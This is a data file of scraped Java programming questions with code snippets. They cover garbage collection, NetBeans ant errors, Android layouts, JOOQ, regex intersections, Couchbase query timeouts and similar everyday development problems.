CMS-concurrent-mark : 2.148/2.148 secs ] [ Times : user=19.46 sys=0.44 , real=2.15 secs ] 2014-06-15T16:33:14.208+0000 : 1053.127 : [ CMS-concurrent-preclean-start ] 2014-06-15T16:33:14.232+0000 : 1053.150 : [ CMS-concurrent-preclean : 0.023/0.023 secs ] [ Times : user=0.14 sys=0.01 , real=0.02 secs ] 2014-06-15T16:33:14.232+0000 : 1053.150 : [ CMS-concurrent-abortable-preclean-start ] 2014-06-15T16:33:15.629+0000 : 1054.548 : [ GC2014-06-15T16:33:15.630+0000 : 1054.548 : [ ParNew : 5591828K- > 563654K ( 5662336K ) , 0.1279360 secs ] 17792082K- > 12763908K ( 20342400K ) , 0.1280840 secs ] [ Times : user=1.65 sys=0.00 , real=0.13 secs ] 2014-06-15T16:33:19.143+0000 : 1058.062 : [ GC2014-06-15T16:33:19.143+0000 : 1058.062 : [ ParNew : 5596870K- > 596692K ( 5662336K ) , 0.3445070 secs ] 17797124K- > 13077191K ( 20342400K ) , 0.3446730 secs ] [ Times : user=3.06 sys=0.34 , real=0.35 secs ] CMS : abort preclean due to time 2014-06-15T16:33:19.832+0000 : 1058.750 : [ CMS-concurrent-abortable-preclean : 5.124/5.600 secs ] [ Times : user=35.91 sys=1.67 , real=5.60 secs ]",How to hold 5GB constantly memory in application without suffering from poor performance due to GC ? +Java,"I was reading `` CLR via C # '' and it seems that in this example , the object that was initially assigned to 'obj ' will be eligible for Garbage Collection after line 1 is executed , not after line 2.That 's because local variable lifespan defined not by scope in which it was defined , but by last time you read it.So my question is : what about Java ? I have written this program to check such behavior , and it looks like object stays alive . I do n't think that it 's possible for the JVM to limit variable lifetime while interpreting bytecode , so I tried to run program with 'java -Xcomp ' to force method compilation , but 'finalize ' is not called anyway . Looks like that 's not true for Java , but I hope I can get a more accurate answer here . Also , what about Android 's Dalvik VM ? Added : Jeffrey Richter gives code example in `` CLR via C # '' , something like this : TimerCallback called only once on MS .Net if projects target is 'Release ' ( timer destroyed after GC.Collect ( ) call ) , and called every second if target is 'Debug ' ( variables lifespan increased because programmer can try to access object with debugger ) . But on Mono callback called every second no matter how you compile it . Looks like Mono 's 'Timer ' implementation stores reference to instance somewhere in thread pool . MS implementation does n't do this .","void Foo ( ) { Object obj = new Object ( ) ; obj = null ; } class TestProgram { public static void main ( String [ ] args ) { TestProgram ref = new TestProgram ( ) ; System.gc ( ) ; } @ Override protected void finalize ( ) { System.out.println ( `` finalized '' ) ; } } public static void Main ( string [ ] args ) { var timer = new Timer ( TimerCallback , null , 0 , 1000 ) ; // call every second Console.ReadLine ( ) ; } public static void TimerCallback ( Object o ) { Console.WriteLine ( `` Callback ! `` ) ; GC.Collect ( ) ; }",Objects lifespan in Java vs .Net +Java,"I updated to Netbeans 8.0.1 from 7.0.1 and my java program compiles fine if 'Web Start ' is disabled . As soon as 'Web Start ' is enabled I get the following error : in this section of the jnlp-impl.xml file : < target name= '' -do-jar-jnlp-application '' depends= '' -init-filename , -test-jnlp-type , -init-macrodef-copylibs '' if= '' is.application+mkdist.available '' > < j2seproject3 : copylibs manifest= '' $ { tmp.manifest.file } '' > < customize > < attribute name= '' Main-Class '' value= '' $ { main.class } '' / > < /customize > < /j2seproject3 : copylibs > < echo > To run this application from the command line without Ant , try : < /echo > < property location= '' $ { jnlp.dest.dir } / $ { jnlp.file } '' name= '' jnlp.file.resolved '' / > < echo > javaws `` $ { jnlp.file.resolved } '' < /echo > < /target > The fix , as I understand it is to : 'add following to customized junit macro definition : 'Trouble is I have no idea where that is , nor have I modified my ant file in any way ... can anyone give me a bit more information ? I assume the fix goes somewhere in the jnlp-impl.xml file ; I just have no idea where to put it.Edit update : added all sections with references to 'copylibs ' in the jnlp-impl.xml file-Thanks in advance .","C : \NetBeansProjects\SearchCriteriaEditor\nbproject\jnlp-impl.xml:480 : unsupported element customize < attribute default= '' '' name= '' testmethods '' / > < element name= '' customize '' optional= '' true '' / > < customize/ > < target name= '' -test-jnlp-type '' depends= '' -test-jnlp-enabled '' if= '' is.jnlp.enabled '' > < condition property= '' is.applet '' > < equals arg1= '' $ { jnlp.descriptor } '' arg2= '' applet '' trim= '' true '' / > < /condition > < condition property= '' is.application '' > < equals arg1= '' $ { jnlp.descriptor } '' arg2= '' application '' trim= '' true '' / > < /condition > < condition property= '' is.component '' > < equals arg1= '' $ { jnlp.descriptor } '' arg2= '' component '' trim= '' true '' / > < /condition > < condition property= '' is.applet+mkdist.available '' > < and > < isset property= '' libs.CopyLibs.classpath '' / > < istrue value= '' $ { is.applet } '' / > < /and > < /condition > < condition property= '' is.application+mkdist.available '' > < and > < isset property= '' libs.CopyLibs.classpath '' / > < istrue value= '' $ { is.application } '' / > < /and > < /condition > < condition property= '' is.component+mkdist.available '' > < and > < isset property= '' libs.CopyLibs.classpath '' / > < istrue value= '' $ { is.component } '' / > < /and > < /condition > < /target > ... ... < target name= '' -do-jar-jnlp-application '' depends= '' -init-filename , -test-jnlp-type , -init-macrodef-copylibs '' if= '' is.application+mkdist.available '' > < j2seproject3 : copylibs manifest= '' $ { tmp.manifest.file } '' > < customize > < attribute name= '' Main-Class '' value= '' $ { main.class } '' / > < /customize > < /j2seproject3 : copylibs > < echo > To run this application from the command line without Ant , try : < /echo > < property location= '' $ { jnlp.dest.dir } / $ { jnlp.file } '' name= '' jnlp.file.resolved '' / > < echo > javaws `` $ { jnlp.file.resolved } '' < /echo > < /target > < target name= '' -do-jar-jnlp-component '' depends= '' -test-jnlp-type , -init-macrodef-copylibs '' if= '' is.component+mkdist.available '' > < j2seproject3 : copylibs manifest= '' $ { tmp.manifest.file } '' / > < /target >",Netbeans ant build error 'unsupported element customize ' +Java,"I 'm working on a big school project about random numbers , but I ca n't find the period for Math.random ( ) . I have version 7.0.800.15 installed and I 'm working an a windows 10 computer . I 've tried determining the period with a simple program which saves the first values of : in an array and then loops until it finds the same values in a row again , thus a period would have passed , but with no result , the period is too long.So my question is : What is the period of Math.random ( ) on my version ? Or : Is there a way to determine the period using a simple program ? Edit : took away a source pointing to a page about JavaScript , it was not relevant",double num = Math.random ( ) ;,Java Math.random period +Java,"In the code below , even after deleting a node ( 20 ) if I try to print all the nodes by passing deleted node as head in disguise , it is printing all the nodes along with the deleted node . Can someone please explain this behavior along with Garbage Collection in Java ? How was it able to iterate all the nodes even though there is no next element for the deleted node ( 20 ) ? Node : LinkedList : Output of this code : 20 5 2 3 4 A node is deleted 20 5 2 3 4 This is the present head node : 5",class Node { int nodeint ; Node next ; public Node ( int nodeint ) { this.nodeint = nodeint ; } } public class linkedlist { Node head ; //Node next ; public linkedlist ( Node obj ) { this.head = obj ; } public Node addnodes ( int news ) { Node newlink = new Node ( news ) ; newlink.next = head ; head = newlink ; return head ; } public void printAllNodes ( Node obj ) { Node current = obj ; while ( current ! =null ) { System.out.println ( current.nodeint ) ; current = current.next ; } } public Node remove ( ) { Node temp = head ; head = head.next ; return temp ; } public void printHead ( ) { System.out.println ( `` This is the present head node '' +head.nodeint ) ; } public static void main ( String [ ] args ) { Node obj1 = new Node ( 2 ) ; Node obj2 = new Node ( 3 ) ; Node obj3 = new Node ( 4 ) ; obj1.next = obj2 ; obj2.next = obj3 ; obj3.next = null ; linkedlist newobj = new linkedlist ( obj1 ) ; Node obj = null ; obj = newobj.addnodes ( 5 ) ; obj =newobj.addnodes ( 20 ) ; //System.out.println ( obj.nodeint ) ; newobj.printAllNodes ( obj ) ; obj = newobj.remove ( ) ; System.out.println ( `` A node is deleted '' ) ; newobj.printAllNodes ( obj ) ; newobj.printHead ( ) ; } },"After deleting node in linked list , printing the node list is showing deleted node" +Java,"I have a layout that I use for my toolbars ; And I use this in my layouts as ; And below this in most of my layouts I have a nested scrollview , my problem is on layouts where the content should n't scroll by default , opening the soft keyboard allows the content to scroll using adjustResize , but my toolbar does n't react to this and collapse as it should . The full code for my layout is ; This layout as a whole does n't scroll on large devices , but may scroll on smaller devices/future releases so I believe this may be where my problem lies but I 've tried quite a few different things and nothing has come up . I 've also tried programatically expanding and collapsing the toolbar using but this does n't animate the layout I 'm assuming because it 's not in a scrolling layout because there 's no content to bring up maybe ?","< ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < merge xmlns : android= '' http : //schemas.android.com/apk/res/android '' xmlns : app= '' http : //schemas.android.com/apk/res-auto '' android : layout_width= '' match_parent '' android : layout_height= '' wrap_content '' > < android.support.design.widget.AppBarLayout android : id= '' @ +id/appbar_layout '' android : layout_width= '' match_parent '' android : layout_height= '' wrap_content '' android : fitsSystemWindows= '' true '' > < android.support.design.widget.CollapsingToolbarLayout android : id= '' @ +id/expanded_collapsing_toolbar '' android : layout_width= '' match_parent '' android : layout_height= '' 120dp '' app : layout_scrollFlags= '' scroll|exitUntilCollapsed '' > < android.support.v7.widget.Toolbar android : id= '' @ +id/expanded_toolbar '' android : layout_width= '' match_parent '' android : layout_height= '' ? attr/actionBarSize '' app : layout_collapseMode= '' pin '' / > < /android.support.design.widget.CollapsingToolbarLayout > < /android.support.design.widget.AppBarLayout > < com.dan.finance.ui.ExpandedToolbar android : id= '' @ +id/expandable_toolbar '' android : layout_width= '' match_parent '' android : layout_height= '' wrap_content '' app : toolbarNavColor= '' ? attr/NavigationIconColor '' app : toolbarNavIcon= '' ? attr/NavigationUpArrow '' app : toolbarTitle= '' My Finances '' app : toolbarTitleColor= '' ? attr/NavigationTitleColor '' / > < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < layout xmlns : android= '' http : //schemas.android.com/apk/res/android '' xmlns : app= '' http : //schemas.android.com/apk/res-auto '' xmlns : tools= '' http : //schemas.android.com/tools '' > < RelativeLayout android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' > < android.support.design.widget.CoordinatorLayout android : id= '' @ +id/coordinator_layout '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' android : fillViewport= '' true '' > < com.dan.finance.ui.ExpandedToolbar android : id= '' @ +id/expandable_toolbar '' android : layout_width= '' match_parent '' android : layout_height= '' wrap_content '' app : toolbarNavColor= '' ? attr/NavigationIconColor '' app : toolbarNavIcon= '' ? attr/NavigationUpArrow '' app : toolbarTitle= '' My Finances '' app : toolbarTitleColor= '' ? attr/NavigationTitleColor '' / > < android.support.v4.widget.NestedScrollView android : id= '' @ +id/nested_scrollview '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' android : fillViewport= '' true '' app : layout_anchor= '' @ id/expandable_toolbar '' app : layout_anchorGravity= '' bottom '' app : layout_behavior= '' @ string/appbar_scrolling_view_behavior '' > < android.support.constraint.ConstraintLayout android : id= '' @ +id/container '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' > < android.support.v7.widget.AppCompatTextView android : id= '' @ +id/title '' android : layout_width= '' 0dp '' android : layout_height= '' wrap_content '' android : paddingStart= '' 32dp '' android : paddingEnd= '' 0dp '' android : text= '' Finances '' app : layout_constraintEnd_toEndOf= '' parent '' app : layout_constraintStart_toStartOf= '' parent '' app : layout_constraintTop_toTopOf= '' parent '' / > < android.support.v7.widget.AppCompatEditText android : id= '' @ +id/edit_text '' android : layout_width= '' 0dp '' android : layout_height= '' 56dp '' app : layout_constraintEnd_toEndOf= '' parent '' app : layout_constraintStart_toStartOf= '' parent '' app : layout_constraintTop_toBottomOf= '' @ id/title '' / > < android.support.v7.widget.AppCompatTextView android : id= '' @ +id/details '' android : layout_width= '' 0dp '' android : layout_height= '' wrap_content '' android : text= '' DETAILS TODO '' app : layout_constraintEnd_toEndOf= '' parent '' app : layout_constraintStart_toStartOf= '' parent '' app : layout_constraintTop_toBottomOf= '' @ id/edit_text '' / > < android.support.v7.widget.RecyclerView android : id= '' @ +id/finances_list '' android : layout_width= '' 0dp '' android : layout_height= '' wrap_content '' android : orientation= '' horizontal '' app : layoutManager= '' android.support.v7.widget.LinearLayoutManager '' app : layout_constraintEnd_toEndOf= '' parent '' app : layout_constraintStart_toStartOf= '' parent '' app : layout_constraintTop_toBottomOf= '' @ id/details '' / > < android.support.v7.widget.AppCompatButton android : id= '' @ +id/button_see_all '' android : layout_width= '' match_parent '' android : layout_height= '' wrap_content '' android : text= '' See All '' app : layout_constraintBottom_toBottomOf= '' parent '' app : layout_constraintTop_toBottomOf= '' @ id/finances_list '' app : layout_constraintVertical_bias= '' 1.0 '' / > < /android.support.constraint.ConstraintLayout > < /android.support.v4.widget.NestedScrollView > < /android.support.design.widget.CoordinatorLayout > < /RelativeLayout > mAppBarLayout.setExpanded ( expand , true ) ;",CollapsingToolbarLayout not collapsing when softkeyboard is visible +Java,I have a videoview on my app and Im using gogole as a reference to make the video player full screen : https : //developer.android.com/training/system-ui/immersive # javaI was following the instruccion from the above website and i was able to make the videoplayer full screen but I gt a weird problem with my media controller and the device controller ( they overlp ) and do n't know how to fixed any ideas what is the problem .,"public class VideoPlayer extends AppCompatActivity { VideoView videoView ; MediaController mediaController ; private String TAG = VideoPlayer.class.getSimpleName ( ) ; @ RequiresApi ( api = Build.VERSION_CODES.KITKAT ) @ Override protected void onCreate ( @ Nullable Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.video_player_activity ) ; videoView = ( VideoView ) findViewById ( R.id.videoView ) ; mediaController = new MediaController ( this ) ; videoView.setVideoPath ( `` android.resource : // '' + getPackageName ( ) + `` / '' + R.raw.video1 ) ; mediaController.setAnchorView ( videoView ) ; videoView.setMediaController ( mediaController ) ; videoView.start ( ) ; } @ Override public void onWindowFocusChanged ( boolean hasFocus ) { super.onWindowFocusChanged ( hasFocus ) ; if ( hasFocus ) { hideSystemUI ( ) ; } } private void hideSystemUI ( ) { View decorView = getWindow ( ) .getDecorView ( ) ; if ( Build.VERSION.SDK_INT > = Build.VERSION_CODES.KITKAT ) { decorView.setSystemUiVisibility ( View.SYSTEM_UI_FLAG_LAYOUT_STABLE | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION // hide nav bar | View.SYSTEM_UI_FLAG_FULLSCREEN // hide status bar | View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY ) ; } } private void showSystemUI ( ) { Log.e ( TAG , `` 111 '' ) ; View decorView = getWindow ( ) .getDecorView ( ) ; decorView.setSystemUiVisibility ( View.SYSTEM_UI_FLAG_LAYOUT_STABLE | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN ) ; } }",Android videoview - immersive - overlapping controllers +Java,"I 'd like to get JOOQ to render column names with quotes . This is what I tried , reading the docs and StackOverflow : The generated statement is : It outputs Quoted : true , so the flag seems to be set.While renderFormatted and renderKeywordStyle seem to be respected , ` renderNameStyle `` appears to be ignored.I 'm experimenting with an unsupported database , therefore the SQL99.Side question : Why is SQL99 deprecated in JOOQ ?","DSLContext sql = DSL.using ( SQLDialect.SQL99 , new Settings ( ) .withRenderNameStyle ( RenderNameStyle.QUOTED ) .withRenderFormatted ( true ) .withRenderKeywordStyle ( RenderKeywordStyle.UPPER ) ) ; System.out.println ( `` Quoted : `` + ( sql.settings ( ) .getRenderNameStyle ( ) ==RenderNameStyle.QUOTED ) ) ; Table < Record > table = table ( `` MyTable '' ) ; Field < Long > lid = field ( `` id '' , Long.class ) ; String sqlStr = sql.renderInlined ( sql.select ( lid , field ( `` type '' ) , field ( `` request.id '' ) , field ( `` UPPERCASE '' ) , field ( `` lowercase '' ) ) .from ( table ) .limit ( 1000 ) ) ; System.out.println ( sqlStr ) ; SELECT id , type , request.id , UPPERCASE , lowercaseFROM MyTableLIMIT 1000",Can not set quote stye in JOOQ ( RenderNameStyle.QUOTED ) +Java,"New to the JVM , working with Scala and Play 2.0I 'm converting a legacy application over to Play , one that requires payment processing via Authorize.net . Looking through java.net.URL source , there are numerous potential points of failure . Given the interface I 've written below , where would you implement try/catch blocks ? I 'll need to adapt method signatures accordingly , probably returning an Either [ Error , Success ] to calling client code","import java.net . { URL , URLEncoder } import java.io . { BufferedReader , DataOutputStream , InputStreamReader } import javax.net.ssl._trait Authnet { private val prodUrl = `` https : //secure.authorize.net/gateway/transact.dll '' private val testUrl = `` https : //test.authorize.net/gateway/transact.dll '' protected def authNetProcess ( params : Map [ String , String ] ) = { val ( conn , urlParams ) = connect ( params ) val request = new DataOutputStream ( conn.getOutputStream ) request.write ( urlParams.getBytes ) request.flush ( ) request.close ( ) val response = new BufferedReader ( new InputStreamReader ( conn.getInputStream ) ) val results = response.readLine ( ) .split ( `` \\| '' ) response.close ( ) results.toList } private def connect ( params : Map [ String , String ] ) = { val urlParams = ( config ++ params ) map { case ( k , v ) = > URLEncoder.encode ( k , `` UTF-8 '' ) + `` = '' + URLEncoder.encode ( v , `` UTF-8 '' ) } mkString ( `` & '' ) lazy val url = if ( isDev ) new URL ( testUrl ) else new URL ( prodUrl ) val conn = url.openConnection conn.setDoOutput ( true ) conn.setUseCaches ( false ) ( conn , urlParams ) } private val config = Map ( 'x_login - > `` ... '' , 'x_tran_key - > `` ... '' , ... ) }",Best practice : catching failure points in java.net.URL +Java,"Java 's Regex.Pattern supports the following character class : which matches `` d , e , or f '' and is called an intersection.Functionally this is no different from : which is simpler to read and understand in a big RE . So my question is , what use are intersections , other than specifying complete support for CSG-like operations on character classes ? ( Please note , I understand the utility of subtractions like [ a-z & & [ ^bc ] ] and [ a-z & & [ ^m-p ] ] , I am asking specifically about intersections as presented above . )",[ a-z & & [ def ] ] [ def ],What is the point behind character class intersections in Java 's Regex ? +Java,What does this line in smali do ? I have been searching for the .restart thing on google and have n't been able to find any information about it .,.restart local v3 # i : I,what does the .restart smali keyword do ? +Java,Now I write a common way to get the JSONObject data from a key.How to change it to a generic method ? Now I have to change the type every time when I call the method .,"String a= ( String ) ObdDeviceTool.getResultData ( result , `` a '' , String.class ) ; Double b= ( Double ) ObdDeviceTool.getResultData ( result , `` b '' , Double.class ) ; public static Object getJSONObjectData ( JSONObject result , String key , Object type ) { if ( result.containsKey ( key ) ) { if ( type.equals ( String.class ) ) return result.getString ( key ) ; if ( type.equals ( Double.class ) ) return result.getDouble ( key ) ; if ( type.equals ( Long.class ) ) return result.getLong ( key ) ; if ( type.equals ( Integer.class ) ) return result.getInt ( key ) ; } return null ; }",How to change my method to a generic method ? +Java,"I am facing issue related to Search JQL . I am using the queryIn Jira it is returning some record but when I am using this query in JiraRestClient it is not working , but instead returning zero records.It is working fine for below query : Code Snippet : My Maven Dependency : Anyone please help me to find the solution .","( issuefunction in issuesInEpics ( 'key = ABCD-24911 ' ) and issuetype=Feature ) issuefunction in issuesInEpics ( `` resolution is not empty '' ) and issuetype = Feature String query= '' issuefunction in issuesInEpics ( 'key = ABCD-24911 ' ) and issuetype=Feature '' ; Integer resultsLength=50 , startAt=0 ; JiraRestClient.getSearchClient ( ) .searchJql ( query , resultsLength , startAt , null ) ; < dependency > < groupId > com.atlassian.jira < /groupId > < artifactId > jira-rest-java-client-api < /artifactId > < version > 4.0.0 < /version > < /dependency > < dependency > < groupId > com.atlassian.jira < /groupId > < artifactId > jira-rest-java-client-core < /artifactId > < version > 4.0.0 < /version > < /dependency > < dependency > < groupId > com.atlassian.fugue < /groupId > < artifactId > fugue < /artifactId > < version > 2.2.1 < /version > < /dependency > < dependency > < groupId > com.atlassian.httpclient < /groupId > < artifactId > atlassian-httpclient-spi < /artifactId > < version > 0.17.0-m01 < /version > < /dependency >",JiraRestClient search returnes no results for JQL query +Java,"Using Couchbase server 4.1.0 ( and 4.5 ) , Java SDK 2.2.8 ( also tried with 2.2.7 , 2.3.1 , & 2.3.3 ) , I have a query leveraging a secondary index which runs fine when I run my code locally and even via CBQ ( CBQ takes about 3ms ) on the AWS server . However , when running my app on AWS , I get a TimeOutException and it 's only one query which is timing out , others are not . See details below.May be worth noting my Couchbase setup has 3 buckets.Example Doc : Secondary Index : Example Query extracted from N1qlQuery # n1ql ( ) Java CodeQuery Explain resultLogsThis is an example of a query which works fine , as requested.The only thing unique about this query versus the others , is it uses an IN clause and receives the fields via a parameterized JsonArray . There are no network delays . I do n't think this is an issue , as other queries are working and they are essentially chained called one after another ( I also tested running this query alone and it still performs extremely slow ) .App and CB are both on AWS . I have tested with both on same AWS server and on different servers as well in both cases issue is there . I have a client on AWS and not on AWS , both have the issue . By a client I mean a mechanism that invokes my app . It still gets a timeout when the query is called.My collectinfo couchbase logs are here s3.amazonaws.com/cb-customers/TE2/","`` bucketName '' : { `` userName '' : `` User_A '' , `` MessageContent '' : `` This is a message '' , `` docType '' : `` msg '' , `` ParentMsgId '' : `` 1234 '' , `` MsgType '' : `` test '' , `` expireTimestamp '' : 1454975772613 , `` publishTimestamp '' : 1455322362028 , `` id '' : `` 145826845 '' , `` urls '' : [ ] , `` subject '' : `` this is a subject '' , `` type '' : 1 , `` GroupId '' : `` Group_1 '' } CREATE INDEX ` indexName ` ON ` bucketName ` ( ` ParentMsgId ` , ` docType ` , ` publishTimestamp ` ) USING GSI { `` statement '' : '' select count ( * ) as msgCount from bucketName where ParentMsgId is not missing and docType = 'msg ' and ParentMsgId IN $ parentId and publishTimestamp between $ startTime and $ endTime '' , '' $ endTime '' :1470726861816 , `` $ startTime '' :1470640461816 , `` $ parenIds '' : [ `` fa11845b-9ea5-4778-95fe-e7206843c69b '' ] } public static final String COUNT_STATEMENT = `` select count ( * ) as count `` + `` from bucketName `` + `` where ParentMsgId is not missing `` + `` and docType = 'msg ' `` + `` and ParentMsgId IN $ parentIds `` + `` and publishTimestamp between $ startTime and $ endTime '' ; public int getCountForDuration ( Long startTime , Long endTime , Collection < String > parentIds ) { List < String > idList = new ArrayList < > ( parentIds ) ; JsonObject placeHolders = JsonObject.create ( ) .put ( `` parentIds '' , JsonArray.from ( idList ) ) .put ( `` startTime '' , startTime ) .put ( `` endTime '' , endTime ) ; N1qlQuery query = N1qlQuery.parameterized ( COUNT_STATEMENT , placeHolders ) N1qlQueryResult result = bucket.query ( query ) ; ... } cbq > explain select count ( * ) as msgCount from bucketName where ParentMsgId is not missing and docType = 'msg ' and ParentMsgId IN [ `` 01b88f7f-4de6-4daa-9562-a2c902e818ad '' ] and publishTimestamp between 1466445409000 and 1466531809000 ; { `` requestID '' : `` 61afcf02-3b3d-4c8a-aec6-b76c4c1f7b17 '' , `` signature '' : `` json '' , `` results '' : [ { `` # operator '' : `` Sequence '' , `` ~children '' : [ { `` # operator '' : `` IndexScan '' , `` index '' : `` indexName '' , `` keyspace '' : `` bucketName '' , `` namespace '' : `` default '' , `` spans '' : [ { `` Range '' : { `` High '' : [ `` successor ( \ '' 01b88f7f-4de6-4daa-9562-a2c902e818ad\ '' ) '' ] , `` Inclusion '' : 1 , `` Low '' : [ `` \ '' 01b88f7f-4de6-4daa-9562-a2c902e818ad\ '' '' ] } } ] , `` using '' : `` gsi '' } , { `` # operator '' : `` Parallel '' , `` ~child '' : { `` # operator '' : `` Sequence '' , `` ~children '' : [ { `` # operator '' : `` Fetch '' , `` keyspace '' : `` bucketName '' , `` namespace '' : `` default '' } , { `` # operator '' : `` Filter '' , `` condition '' : `` ( ( ( ( ( ` bucketName ` . ` ParentMsgId ` ) is not missing ) and ( ( ` bucketName ` . ` docType ` ) = \ '' msg\ '' ) ) and ( ( ` bucketName ` . ` ParentMsgId ` ) in [ \ '' 01b88f7f-4de6-4daa-9562-a2c902e818ad\ '' ] ) ) and ( ( ` bucketName ` . ` publishTimestamp ` ) between 1466445409000 and 1466531809000 ) ) '' } , { `` # operator '' : `` InitialGroup '' , `` aggregates '' : [ `` count ( * ) '' ] , `` group_keys '' : [ ] } ] } } , { `` # operator '' : `` IntermediateGroup '' , `` aggregates '' : [ `` count ( * ) '' ] , `` group_keys '' : [ ] } , { `` # operator '' : `` FinalGroup '' , `` aggregates '' : [ `` count ( * ) '' ] , `` group_keys '' : [ ] } , { `` # operator '' : `` Parallel '' , `` ~child '' : { `` # operator '' : `` Sequence '' , `` ~children '' : [ { `` # operator '' : `` InitialProject '' , `` result_terms '' : [ { `` as '' : `` msgCount '' , `` expr '' : `` count ( * ) '' } ] } , { `` # operator '' : `` FinalProject '' } ] } } ] } ] , `` status '' : `` success '' , `` metrics '' : { `` elapsedTime '' : `` 2.748194ms '' , `` executionTime '' : `` 2.660232ms '' , `` resultCount '' : 1 , `` resultSize '' : 3274 } } java.lang.Thread.run ( Thread.java:745 ) org.eclipse.jetty.util.thread.QueuedThreadPool $ 3.run ( QueuedThreadPool.java:533 ) org.eclipse.jetty.util.thread.QueuedThreadPool.runJob ( QueuedThreadPool.java:598 ) org.eclipse.jetty.server.nio.BlockingChannelConnector $ BlockingChannelEndPoint.run ( BlockingChannelConnector.java:293 ) org.eclipse.jetty.server.BlockingHttpConnection.handle ( BlockingHttpConnection.java:50 ) org.eclipse.jetty.http.HttpParser.parseAvailable ( HttpParser.java:218 ) org.eclipse.jetty.http.HttpParser.parseNext ( HttpParser.java:582 ) org.eclipse.jetty.server.HttpConnection $ RequestHandler.headerComplete ( HttpConnection.java:919 ) org.eclipse.jetty.server.HttpConnection.handleRequest ( HttpConnection.java:441 ) org.eclipse.jetty.server.Server.handle ( Server.java:349 ) org.eclipse.jetty.server.handler.HandlerWrapper.handle ( HandlerWrapper.java:110 ) org.eclipse.jetty.server.handler.HandlerCollection.handle ( HandlerCollection.java:149 ) org.eclipse.jetty.server.handler.ScopedHandler.handle ( ScopedHandler.java:117 ) org.eclipse.jetty.server.handler.ContextHandler.doScope ( ContextHandler.java:875 ) org.eclipse.jetty.server.session.SessionHandler.doScope ( SessionHandler.java:186 ) org.eclipse.jetty.servlet.ServletHandler.doScope ( ServletHandler.java:409 ) org.ops4j.pax.web.service.jetty.internal.HttpServiceContext.doHandle ( HttpServiceContext.java:117 ) org.eclipse.jetty.server.handler.ContextHandler.doHandle ( ContextHandler.java:941 ) org.eclipse.jetty.server.session.SessionHandler.doHandle ( SessionHandler.java:227 ) org.eclipse.jetty.security.SecurityHandler.handle ( SecurityHandler.java:483 ) org.eclipse.jetty.server.handler.ScopedHandler.handle ( ScopedHandler.java:119 ) org.ops4j.pax.web.service.jetty.internal.HttpServiceServletHandler.doHandle ( HttpServiceServletHandler.java:70 ) org.eclipse.jetty.servlet.ServletHandler.doHandle ( ServletHandler.java:480 ) org.eclipse.jetty.servlet.ServletHolder.handle ( ServletHolder.java:547 ) org.apache.cxf.transport.servlet.AbstractHTTPServlet.service ( AbstractHTTPServlet.java:201 ) javax.servlet.http.HttpServlet.service ( HttpServlet.java:693 ) org.apache.cxf.transport.servlet.AbstractHTTPServlet.doGet ( AbstractHTTPServlet.java:150 ) org.apache.cxf.transport.servlet.AbstractHTTPServlet.handleRequest ( AbstractHTTPServlet.java:225 ) org.apache.cxf.transport.servlet.CXFNonSpringServlet.invoke ( CXFNonSpringServlet.java:130 ) org.apache.cxf.transport.servlet.ServletController.invoke ( ServletController.java:194 ) org.apache.cxf.transport.servlet.ServletController.invokeDestination ( ServletController.java:214 ) org.apache.cxf.transport.http.AbstractHTTPDestination.invoke ( AbstractHTTPDestination.java:237 ) org.apache.cxf.transport.ChainInitiationObserver.onMessage ( ChainInitiationObserver.java:121 ) org.apache.cxf.phase.PhaseInterceptorChain.doIntercept ( PhaseInterceptorChain.java:262 ) org.apache.cxf.interceptor.ServiceInvokerInterceptor.handleMessage ( ServiceInvokerInterceptor.java:94 ) org.apache.cxf.interceptor.ServiceInvokerInterceptor $ 1.run ( ServiceInvokerInterceptor.java:58 ) org.apache.cxf.jaxrs.JAXRSInvoker.invoke ( JAXRSInvoker.java:89 ) org.apache.cxf.jaxrs.JAXRSInvoker.invoke ( JAXRSInvoker.java:168 ) org.apache.cxf.service.invoker.AbstractInvoker.invoke ( AbstractInvoker.java:96 ) org.apache.cxf.service.invoker.AbstractInvoker.performInvocation ( AbstractInvoker.java:180 ) java.lang.reflect.Method.invoke ( Method.java:498 ) sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) biz.te2.core.services.beacon.impl.BeaconResource.getVenuesBeaconData ( BeaconResource.java:105 ) xxx.xxx.xxx.getBeaconHealthForRangeAndVenue ( BeaconHealthServiceImpl.java:40 ) xxx.xxx.xxx..getAllMessagesCount ( BeaconHealthServiceImpl.java:80 ) com.sun.proxy. $ Proxy146.getMessageCountForDuration ( Unknown Source ) org.apache.aries.proxy.impl.ProxyHandler.invoke ( ProxyHandler.java:78 ) org.apache.aries.proxy.impl.DefaultWrapper.invoke ( DefaultWrapper.java:31 ) org.apache.aries.proxy.impl.ProxyHandler $ 1.invoke ( ProxyHandler.java:50 ) java.lang.reflect.Method.invoke ( Method.java:498 ) sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) xxx.xxx.xxx.getMessageCountForDuration ( MessageCouchbaseRepo.java:364 ) xxx.xxx.xxx.getN1qlQueryRows ( MessageCouchbaseRepo.java:372 ) com.couchbase.client.java.CouchbaseBucket.query ( CouchbaseBucket.java:582 ) com.couchbase.client.java.CouchbaseBucket.query ( CouchbaseBucket.java:656 ) com.couchbase.client.java.util.Blocking.blockForSingle ( Blocking.java:74 ) java.util.concurrent.CountDownLatch.await ( CountDownLatch.java:277 ) java.util.concurrent.locks.AbstractQueuedSynchronizer.tryAcquireSharedNanos ( AbstractQueuedSynchronizer.java:1328 ) 